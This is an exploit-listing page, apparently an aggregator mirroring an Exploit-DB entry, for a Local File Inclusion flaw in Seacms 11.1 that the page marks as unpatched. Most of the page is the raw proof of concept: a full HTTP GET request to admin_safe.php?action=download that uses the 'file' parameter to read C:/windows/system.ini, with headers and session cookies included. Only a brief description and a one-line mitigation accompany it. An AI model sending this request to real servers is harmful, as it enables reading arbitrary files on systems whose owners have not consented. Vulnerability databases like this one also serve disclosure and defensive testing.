header-logo
Suggest Exploit
vendor:
Seacms
by:
j5s
8.8
CVSS
HIGH
Local File Inclusion
98
CWE
Product Name: Seacms
Affected Version From: 11.1
Affected Version To: 11.1
Patch Exists: NO
Related CWE: N/A
CPE: a:seacms:seacms:11.1
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: N/A
2020

Seacms 11.1 – ‘file’ Local File Inclusion

Seacms 11.1 is vulnerable to Local File Inclusion (LFI) vulnerability. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with malicious payload to the vulnerable parameter 'file'. The payload can be used to read the content of any file on the server, such as C:/windows/system.ini. This can lead to sensitive information disclosure.

Mitigation:

The best way to mitigate this vulnerability is to restrict access to the vulnerable parameter 'file' and validate the user input.
Source

Exploit-DB raw data:

# Exploit Title: Seacms 11.1 - 'file' Local File Inclusion
# Date: 20201212
# Exploit Author: j5s
# Vendor Homepage: https://www.seacms.net/
# Software Link: https://www.seacms.net/
# Version: 11.1

GET /SEACMS111/5f9js3/admin_safe.php?action=download&file=C:/windows/system.ini HTTP/1.1
Host: 192.168.137.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.137.139/SEACMS111/5f9js3/admin_safe.php?action=scan
Cookie: more=1; Hm_lvt_22c4c422b3e7b17729ce8b5817d54592=1607175396;
PHPSESSID=t1gc019b35rrgmr1dg53gfje96;
t00ls=e54285de394c4207cd521213cebab040;
t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MzoicGhwIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D
Upgrade-Insecure-Requests: 1

Vulnerable parameters: file

payload:C:/windows/system.ini